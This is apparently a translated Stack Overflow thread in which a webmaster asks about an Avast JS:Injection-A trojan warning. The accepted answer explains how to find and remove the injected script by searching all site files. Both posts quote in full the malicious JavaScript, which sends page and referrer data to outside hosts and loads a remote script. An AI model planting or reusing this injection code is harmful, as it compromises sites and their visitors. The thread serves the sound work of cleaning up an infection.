今天,当我想进入我的网站时,我收到了Avast的警告:
forumhan.com。
要了解这一点,您的计算机上必须装有Avast。
我的网站感染了JS:Injection-A [Trj]-这就是为什么它没有显示。
当我看时,我在标题上发现了这一点:
<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://vkza.tora.ru/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>
由于我不是专业人士,因此我无法理解是否与其他文件有任何关系。
此代码中有对其他文件的调用吗?
消除这个问题是否可以解决?
我删除了它,但是看不到我的网页。
最佳答案
我找到了解决方案。
问题是你在说什么。有人将该代码注入了您的网站(也是我的)。因此,我要做的就是选择以下代码段:
encodeURIComponent(document.title)
并使用服务器上的Notepad ++在htdocs文件夹中的所有文件中搜索。
然后我发现了这样的东西:
<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://delicefilm.com/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>
在这里:
而且我已经从所有文件中删除了它。就这样!
希望它也对您有用! :)
关于javascript - Avast在我的网站上给出了JS:Injection-A [Trj]的错误,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/34176949/